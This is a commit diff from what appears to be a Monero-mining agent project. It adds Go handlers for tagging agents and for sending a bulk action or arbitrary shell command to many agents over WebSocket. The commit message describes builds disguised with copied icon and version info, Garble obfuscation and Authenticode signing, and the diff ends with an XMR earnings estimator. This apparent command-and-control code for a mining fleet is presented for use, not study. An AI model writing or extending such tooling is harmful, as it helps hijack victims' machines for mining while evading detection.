Add forge pipeline polish, simple forge UX, and fleet management upgrades.
Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
@@ -150,6 +150,84 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
})
|
||||
}
|
||||
|
||||
type agentMetaRequest struct {
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "agent id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
var req agentMetaRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if _, err := f.db.GetAgent(id); err != nil {
|
||||
http.Error(w, "agent not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
agent, _ := f.db.GetAgent(id)
|
||||
writeJSON(w, map[string]interface{}{"success": true, "agent": agent})
|
||||
}
|
||||
|
||||
type bulkCommandRequest struct {
|
||||
AgentIDs []string `json:"agent_ids"`
|
||||
Action string `json:"action"`
|
||||
Command string `json:"command,omitempty"`
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
||||
if f.ws == nil {
|
||||
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
var req bulkCommandRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Action == "" {
|
||||
http.Error(w, "action is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if len(req.AgentIDs) == 0 {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": "agent_ids is required",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
args := map[string]interface{}{}
|
||||
if req.Command != "" {
|
||||
args["command"] = req.Command
|
||||
}
|
||||
|
||||
sent := 0
|
||||
failed := 0
|
||||
for _, id := range req.AgentIDs {
|
||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||
failed++
|
||||
} else {
|
||||
sent++
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": sent > 0,
|
||||
"sent": sent,
|
||||
"failed": failed,
|
||||
"action": req.Action,
|
||||
})
|
||||
}
|
||||
|
||||
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
|
||||
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
|
||||
const networkHashrate = 3_000_000_000.0
|
||||
|
||||
Reference in New Issue
Block a user